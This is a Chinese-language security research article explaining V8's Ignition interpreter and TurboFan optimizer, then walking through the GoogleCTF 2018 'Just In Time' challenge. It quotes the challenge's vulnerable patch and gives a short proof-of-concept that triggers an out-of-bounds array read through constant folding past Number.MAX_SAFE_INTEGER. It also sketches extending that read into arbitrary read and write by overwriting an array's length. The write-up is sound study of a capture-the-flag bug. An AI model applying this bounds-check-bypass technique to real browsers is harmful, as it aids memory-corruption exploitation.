作者:TokameinE@知道創宇404實驗室
日期:2022年7月19日
“JavaScript 代碼本身就是一個二進制程序。” 不知道讀者是否在什么地方聽說過這樣的解釋,但筆者認為這個形容相當生動。因為 JavaScript 的代碼是懶惰解釋的,只有在特定函數被執行時候,解釋器才會對這部分代碼進行解釋,生成對應的字節碼。但這些字節碼會隨著代碼的運行而產生變動,同一份代碼有可能在同一次執行中,由于動態優化的緣故而被解釋為兩段相差甚大的字節碼。不知道您現在是否對這句話有了一點體會。在某些文章中我們甚至能看見這樣的解釋:“解釋器即編譯器”。
V8 的工作原理
或許您已經在某些地方見過這張圖了,它很簡潔的概況了整個流程。

- 首先會將 JavaScript 代碼傳遞給 V8 引擎,并將其遞給 Parse
- 然后它會根據代碼生成對應的抽象語法樹(AST)
- 接下來,Ignition 解釋器就會直接根據 AST 生成對應的字節碼,并開始執行它們
- 會有另外一個線程監測代碼的執行過程,收集合適的數據進行回調
- TurboFan 會根據這些數據優化字節碼,讓它們能夠更快的執行
一個最簡單的例子是,如果在運行過程中,TurboFan 發現某個函數的參數無論如何都只會是 32bit 整數,而不會是其他任何類型,那么它就可以省略掉很多類型檢查上的操作了,完全有可能讓一些加法被優化為單純的 add 指令,而不是其他更加復雜的函數;但如果運行中發現,在某一時刻,傳入的參數類型發生了變化,那么就會去除這次的優化,令代碼回到本來的狀態。
從安全的角度來說,如果一段被優化后的代碼在遇到某些非法輸入時沒能正確的執行“去優化(deoptimizations)”步驟或是甚至沒有做 deoptimizations,就有可能導致這段代碼被錯誤的使用。
V8 字節碼
字節碼是根據語法樹轉換而來的,那不如我們先從語法樹開始 。通過添加參數 --print-ast 可以令其打印出 AST。來看下面的示例:
function add(val1, val2) {
return val1 + val2;
}
var res1=add(1,2);
var res2=add("a","b");
$ ./d8 ./bytecode.js --print-ast
[generating bytecode for function: ]
--- AST ---
FUNC at 0
. KIND 0
. LITERAL ID 0
. SUSPEND COUNT 0
. NAME ""
. INFERRED NAME ""
. DECLS
. . FUNCTION "add" = function add
. . VARIABLE (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . VARIABLE (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 62
. . . INIT at 62
. . . . VAR PROXY unallocated (0x56295442b6b0) (mode = VAR, assigned = true) "res1"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL 1
. . . . . LITERAL 2
. BLOCK NOCOMPLETIONS at -1
. . EXPRESSION STATEMENT at 81
. . . INIT at 81
. . . . VAR PROXY unallocated (0x56295442b7c8) (mode = VAR, assigned = true) "res2"
. . . . CALL
. . . . . VAR PROXY unallocated (0x56295442b650) (mode = VAR, assigned = true) "add"
. . . . . LITERAL "a"
. . . . . LITERAL "b"
[generating bytecode for function: add]
--- AST ---
FUNC at 12
. KIND 0
. LITERAL ID 1
. SUSPEND COUNT 0
. NAME "add"
. PARAMS
. . VAR (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VAR (0x56295442b760) (mode = VAR, assigned = false) "val2"
. DECLS
. . VARIABLE (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . VARIABLE (0x56295442b760) (mode = VAR, assigned = false) "val2"
. RETURN at 31
. . ADD at 43
. . . VAR PROXY parameter[0] (0x56295442b6e0) (mode = VAR, assigned = false) "val1"
. . . VAR PROXY parameter[1] (0x56295442b760) (mode = VAR, assigned = false) "val2"
第一個 AST 是整個程序執行流的,而第二個則是函數 add 的 AST,我們的重點放在第二個上并將其轉為流程圖:
+---------+
+---------+ Function+----------+
| +---------+ |
+--v---+ +----v---+
|params| | return |
+---------------+ +----+---+
| | |
| | |
+----v-----+ +----------+ +----v----+
| var val1 | | var val2 | | add |
+----------+ +----------+ +------+---------+-------+
| |
| |
+-------v--------+ +---------v------+
| var proxy val1 | | var proxy val2 |
+----------------+ +----------------+
這里我們省略掉了 DECLS 分支,因為我們并不是很關心這些。
出于一些特殊的規則,語法樹會為函數創建兩個分支,一個用于參數,另外一個則用于執行流。并且,執行流中使用 var proxy 結點代替參數,當使用到參數時,這兩個結點會從左子樹中的參數結點中獲取變量。
而如果附帶 --print-bytecode 參數,就能夠得到其對應的字節碼:
[generated bytecode for function: add (0x314000253b61 <SharedFunctionInfo add>)]
Bytecode length: 6
Parameter count 3
Register count 0
Frame size 0
Bytecode age: 0
0x314000253d3e @ 0 : 0b 04 Ldar a1
0x314000253d40 @ 2 : 39 03 00 Add a0, [0]
0x314000253d43 @ 5 : a9 Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
- Parameter count:參數個數。除了我們提供的參數以外,還包括了一個 this 指針。
Ignition 使用一種名為 “register machine” 的機制來模擬寄存器,其中有一個與 x86 下的 rax 相似的 accumulator register(累加寄存器),它用于常規的計算以及返回值。
具體的字節碼就不再做翻譯了,因為下文中其實不怎么需要它,此處多有一些拋磚引玉的意思。
優化過程
通過添加參數 --trace-opt 和 --trace-deopt 可以跟蹤程序的優化和去優化過程:
class Player{}
class Wall{}
function move(obj) {
var tmp = obj.x + 42;
var x = Math.random();
x += 1;
return tmp + x;
}
for (var i = 0; i < 0x10000; ++i) {
move(new Player());
}
move(new Wall());
for (var i = 0; i < 0x10000; ++i) {
move(new Wall());
}
$ ./d8 ./bytecode.js --trace-opt --trace-deopt
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.139, 0.330, 0.015 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.137, 0.687, 0.019 ms]
[bailout (kind: deopt-soft, reason: Insufficient type feedback for construct): begin. deoptimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)>, opt id 1, bytecode offset 123, deopt exit 6, FP to SP delta 96, caller SP 0x7ffdd0530428, pc 0x3fe4001c4b51]
[bailout (kind: deopt-eager, reason: wrong map): begin. deoptimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)>, opt id 0, bytecode offset 0, deopt exit 1, FP to SP delta 32, caller SP 0x7ffdd05303b8, pc 0x3fe4001c485f]
[marking 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> for optimized recompilation, reason: small function]
[compiling method 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) using TurboFan]
[marking 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> for optimized recompilation, reason: hot and stable]
[optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN) - took 0.138, 0.612, 0.098 ms]
[completed optimizing 0x3fe4081d3629 <JSFunction move (sfi = 0x3fe4081d3211)> (target TURBOFAN)]
[compiling method 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) using TurboFan OSR]
[optimizing 0x3fe4081d35ad <JSFunction (sfi = 0x3fe4081d317d)> (target TURBOFAN) - took 0.253, 0.901, 0.044 ms]
可以注意到,當程序多次執行 move(new Player()) 時,TurboFan 認為可以對此做更進一步的優化以加快程序執行;而讓其遇到 move(new Wall()) 時,則因為二者的不同類型而出現 wrong map ,于是其去除以前的優化并重新執行,再之后又因為多次執行而再次優化。
也可以通過
%PrepareFunctionForOptimization()與%OptimizeFunctionOnNextCall()來進行主動優化,不過這需要您在執行時添加參數--allow-natives-syntax來允許這種語法。另外,具體的過程我們會在接下來的內容說明。目前我們需要知道的事實僅有如上這部分內容。
圖形化分析
function add(x)
{
var va1=1;
if(x)
va1=0;
return 1+va1;
}
for (let i = 0; i < 0x10000; ++i) {
add(true);
}
for (let i = 0; i < 0x10000; ++i) {
add(false);
}
通過添加 --trace-turbo 可以在目錄下生成 *.json 和 *.cfg* ,我們可以將 add 函數導出的 json 導入到 turbolizer 中以獲取到對應的值傳遞圖:(隱藏了一部分,優化以前的狀態)

在值傳遞的過程中可以注意到,Turbofan 總是傳遞 Range(n,n) 類型,它表示傳出的值的上下限,對于常數來說,它的上下界是相同的;而對于 SpeculativeSafeIntergerAdd 這類運算函數,它的類型則根據執行流分別計算下界和上界。
是的,只需要知道值的上下限就能夠確定最終能夠使用什么樣的類型了。它只是在嘗試簡化 AST 樹,因此并不涉及到實際的執行過程,只需要確定在執行的過程中,需要用什么類型的值表示變量即可。
另外,因為一些編譯原理上的設計,每個變量只會經過一次賦值,因此需要使用 Phi 結點去對值進行選擇。盡管它只可能返回 0 或 1,但仍然給出了 Range(0,1) 。
在完成基本的構建以后,是通過 TyperPhase::Run 對整個結構圖進行遍歷并確定所有結點的屬性,其調用鏈大致如下:
TyperPhase::Run --> Typer::Run --> GraphReducer::ReduceGraph --> Typer::Visitor::Reduce --> Typer::Visitor::***Typer (此處 * 用以指代某個名稱,例如 JSCall)
這會遍歷每一個結點,并根據它們的輸入來確定最后的類型,并且在這個過程中,它會嘗試減少一部分節點來加快運行效率。
姑且用一段簡單的源代碼來說明一下這個過程,哪怕我并不希望在入門階段就立刻進入源代碼層面,但又似乎逃不開它:
void Typer::Run(const NodeVector& roots,
LoopVariableOptimizer* induction_vars) {
if (induction_vars != nullptr) {
induction_vars->ChangeToInductionVariablePhis();
}
Visitor visitor(this, induction_vars);
GraphReducer graph_reducer(zone(), graph(), tick_counter_, broker());
graph_reducer.AddReducer(&visitor);
for (Node* const root : roots) graph_reducer.ReduceNode(root);
graph_reducer.ReduceGraph();
···
induction_vars->ChangeToPhisAndInsertGuards();
}
}
在 Typer::Run 中會調用 ReduceGraph 嘗試對結點進行縮減,它最終會根據結點的類型來確定運行的函數:
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
return Type::NonInternal();
}
JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
if (!function.shared().HasBuiltinId()) {
return Type::NonInternal();
}
switch (function.shared().builtin_id()) {
case Builtin::kMathRandom:
return Type::PlainNumber();
case Builtin::kMathFloor:
case Builtin::kMathCeil:
case Builtin::kMathRound:
case Builtin::kMathTrunc:
return t->cache_->kIntegerOrMinusZeroOrNaN;
···
這是一個龐大的 switch ,對于那些內置函數(buildin),它能夠很快找出對應的類型;而對于一些其他類型的函數,則返回 NonInternal 。這么做的目的是能夠簡化一些檢查操作,既然判明了這個結點必然會是某個確定的屬性,就不再需要對它的輸入做其他類型的檢查了。
對于常數,也有類似卻又小得多的結果:
Type Typer::Visitor::TypeNumberConstant(Node* node) {
double number = OpParameter<double>(node->op());
return Type::Constant(number, zone());
}
不過這里用到的是 double 類型,所以 v8 中的常數最大值肯定小于普通的八字節可表示的常數最大值。
然后再進入 Type::Constant :
Type Type::Constant(double value, Zone* zone) {
if (RangeType::IsInteger(value)) {
return Range(value, value, zone);
} else if (IsMinusZero(value)) {
return Type::MinusZero();
} else if (std::isnan(value)) {
return Type::NaN();
}
DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value));
return OtherNumberConstant(value, zone);
}
對于普通整數的返回值自然就是一個 Range 了,另外還有兩種值被使用 -0 和 NaN 。
而 Speculative 前綴含有推測的意思,這往往意味著這個函數能夠根據情況進一步優化,例如SpeculativeSafeIntegerAdd 就是如此。在優化以前,它會以這個結點表示所有的加法,而在它通過代碼運行時分析,發現其執行數據符合一定的預期時,就能夠用更加具體且更加快速的函數來替代了。
Type OperationTyper::SpeculativeToNumber(Type type) {
return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone()));
}
ToNumber 會繼續向下化簡,最終根據我們給出的 Range 選擇一個合適的函數替代,我們以如下的例子說明:
假如我們使用一個稍大一些的數:
let opt_me = (x) => {
return x + 1000000000000;
}
opt_me(42);
for(var i=0;i<0x10000;i++)
{
opt_me(4242);
}
就會使用 SpeculativeNumberAdd 替代它:

而如果我們只使用一些較小的數:
let opt_me= (x) => {
let y = x ? 10 : 20;
return y + 100;
}
for(var i=0;i<0x10000;i++)
{
opt_me(false);
}
就會生成相當簡單的 Int32Add :

另外,而如果需要通過索引來讀取數組:
function opt() {
var arr = [1.1,2.2];
var x = 1;
return arr[x];
}
for (var i=0;i<0x20000;i++) {
opt();
}

有一個特殊的函數是 CheckBounds ,它會檢查輸入的索引值是否越界,然后才能夠返回對應的數。它的類型也是 Range ,通過確定的上下界就能夠很容易的分析出索引是否越界,因此在舊版的 V8 中會在優化后消除檢查;不過,在現在的版本里,這個檢查又加回來了:

似乎看起來消除檢查也沒太大問題,因為上下界確定的情況下 Turbofan 認為絕對不可能發生越界了。 但如果在代碼層面和優化層面對數值的計算不一致,優化層計算出的結果表示不會越界,而代碼層的計算結果卻超出了范圍,那么就能夠利用優化后取出檢查的機制來越界讀寫了。 很危險,因此現在又恢復了這個檢查。
總結一下目前可能產生的優化:
- JSCall 調用內置函數結點被 PlainNumber 等已知類型替代
- NumberConstant 以 Range(n,n) 表示
- SpeculativeNumberAdd(PlainNumber, PlainNumber) 則會以 PlainNumber 表示,
當然,肯定不只是這些內容,但我們沒必要全部展開一一闡明,并且我相信您至少對這種替換有了一定的認識了。
但這只是初步優化,接下來還會做不同階段的分層優化:
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_lowering);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
在 TypedOptimization 中,會調用各類 Reduce 函數對類型進行優化,例如上述的 SpeculativeNumberAdd :
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNumber(y))
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}
這會嘗試通過 NumberOperationHintOf 來判別我們的表達式行為:
NumberOperationHint NumberOperationHintOf(const Operator* op) {
DCHECK(op->opcode() == IrOpcode::kSpeculativeNumberAdd ||
op->opcode() == IrOpcode::kSpeculativeNumberSubtract ||
op->opcode() == IrOpcode::kSpeculativeNumberMultiply ||
op->opcode() == IrOpcode::kSpeculativeNumberPow ||
op->opcode() == IrOpcode::kSpeculativeNumberDivide ||
op->opcode() == IrOpcode::kSpeculativeNumberModulus ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftLeft ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRight ||
op->opcode() == IrOpcode::kSpeculativeNumberShiftRightLogical ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseAnd ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseOr ||
op->opcode() == IrOpcode::kSpeculativeNumberBitwiseXor ||
op->opcode() == IrOpcode::kSpeculativeNumberEqual ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThan ||
op->opcode() == IrOpcode::kSpeculativeNumberLessThanOrEqual ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ||
op->opcode() == IrOpcode::kSpeculativeSafeIntegerSubtract);
return OpParameter<NumberOperationHint>(op);
}
最終它會發現,如果表達式的二值均為 NumberOperationHint::kNumber 這類數字而不會是字符串或其他類型,那么就能夠將 SpeculativeNumberAdd 替換為 NumberAdd 。
JSTypedLowering::ReduceJSCall 也有類似的操作,這里不再展開,讀者可以自行嘗試對照源代碼。
實例分析
GoogleCTF2018-Just In Time
慣例根據一個實際的樣本來說明 Turbofan 的利用過程,理解一下這種優化在什么情況下能夠被利用。首先我們從資料較多的例題開始。
題目附件給了 diff 文件,我們可以直接閱讀代碼來確定問題所在:
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
···
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
可以注意到,在最后的一系列優化中,題目添加了一個額外的優化,向上跟蹤可以找到其來自于 DuplicateAdditionReducer 再往上找即可發現關鍵的漏洞代碼:
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
我們篩出關鍵的分支判斷和漏洞代碼:
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ ···
+ if (left->opcode() != node->opcode()) {
+ ···
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ ···
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
總結如下: - 結點本身為 kNumberAdd - 左樹結點也為 kNumberAdd - 右樹結點為 kNumberConstant - 左樹的右父節點也為 kNumberConstant - 滿足以上條件時,將該結點替換為 NumberConstant(const1+const2),意味將兩個常數合并
滿足條件的情況下,其結點樹大致如下:x+constant+constant
+------------------+
| kNumberConstant |
+------+ |
| +------------------+
|
|
|
+---------v------+ +------------------+
| kNumberAdd | |kNumberConstant |
| | | |
+---------+------+ +--------+---------+
| |
| |
| |
| +---------------+ |
+-------> kNumberAdd <--------+
| |
+---------------+
之后它會將兩個常數結點運算后替換成 x+constant ,這樣在執行時就能減少一次運算了。
這里的加法即為 JIT 優化層面的運算,我們可以考慮這樣一種情況: - Index[x] 未越界,可執行 - Index[x+1+1] 未越界,可執行 - Index[x+2] 越界,不可執行
不知您是否發現了某些問題,如果我們在代碼層面寫的是 Index[x+1+1] ,那么它是一條可執行的語句,而如果寫 Index[x+2] 則會被檢查出越界;那如果我們寫入 Index[x+1+1] 使其通過檢查后,讓優化器把這段語句自動優化成了 Index[x+2] ,是否就能夠繞過邊界檢查實現越界讀寫呢?
如果您熟悉 C 語言或是其他類似的編程語言,那么你或許不會認為把
1+1優化為2是一種不合理的選擇,但由于在 JavaScript 中的整數實際上是通過 double 類型的浮點數表示,因此就有可能在運算時發生問題。 例如,Number.MAX_SAFE_INTEGER就表示能夠安全運算的最大整數,超出該數的運算就有可能發生上述問題,但它并不禁止你使用這類整數,因此在編寫代碼時需要程序員自己注意。
我們可以直接上代碼試試這個事實:
V8 version 7.3.0 (candidate)
d8> x=Number.MAX_SAFE_INTEGER
9007199254740991
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992
d8> x=x+1
9007199254740992
這個事實在各個版本中都存在,盡管它并不一定算是個問題,但和題目的優化機制結合就變得可以利用了。
一個簡單的越界
function oob(x)
{
var double_array=[1.1,2.2,3.3,4.4];
//Number.MAX_SAFE_INTEGER=9007199254740991;
let t=(x==0)?Number.MAX_SAFE_INTEGER-2:Number.MAX_SAFE_INTEGER+1;
//Range(9007199254740991-2,9007199254740991+1);
t=t+1+1;
//優化前:Range(9007199254740991,9007199254740991+1);
//優化后:Range(9007199254740991,9007199254740991+3);
t=t-9007199254740989;
//優化前:Range(2,3)
//優化后:Range(2,5)
return double_array[t];
}
console.log(oob(0));
console.log(oob(1));
%OptimizeFunctionOnNextCall(oob);
console.log(oob(1));
執行它將會打印出如下內容:
$ ./d8 exp.js --allow-natives-syntax --trace-turbo
3.3
4.4
0
我們可以嘗試通過節點海跟蹤一下這個分析過程。在沒有進行優化時,我們得到的節點海為:
此時將遍歷所有結點,并通過計算得出它們的 Range 取值范圍。可以發現,此時的 CheckBounds 得知這個范圍為 Range(2,3) ,這是不可能發生溢出的。
然后到了 typedlowering 階段,將開始進行初步的優化,可以注意到,此時 1+1 已經被優化為了 NumberConstant[2] ,但并沒有重新計算 CheckBounds 得到的范圍。

由于turbofan發現這個結點獲得的索引始終都在Range(2,3),因此在simplified lowering階段已經將這個結點刪除:

而當完成優化以后,再次執行這個函數時,t+1+1 變成 t+2 導致了計算結果超出預期進行越界讀寫,卻沒能被檢查出來,因此得到了越界的能力。
總結以下上述的過程就是:
- Range 只在最初的階段進行計算
- 而如果后續的優化會導致 Range 的范圍變動,而 turbofan 并不會重新計算
- 于是該值發生越界
當然,由于現在的版本不再刪除 checkbound 結點,因此這個問題只會發生在過去,但它仍然值得我們學習。
能夠越界讀寫以后,泄露地址和偽造數據自然不在話下。只要修改 JSArray 的 length 屬性為需要的值,之后就能夠隨意讀寫界外了。相關代碼如下:
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
// 獲取 JSArray 的 length
JSArray::cast(*receiver)->length()->ToArrayLength(&length);
} else if (receiver->IsString()) {
length = String::cast(*receiver)->length();
} else if (receiver->IsJSObject()) {
length = JSObject::cast(*receiver)->elements()->length();
} else {
return false;
}
// 判斷是否越界
return index >= length;
}
具體的利用已經有很多師傅詳細聊過,因此本篇就不做多余的贅述了。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1936/
暫無評論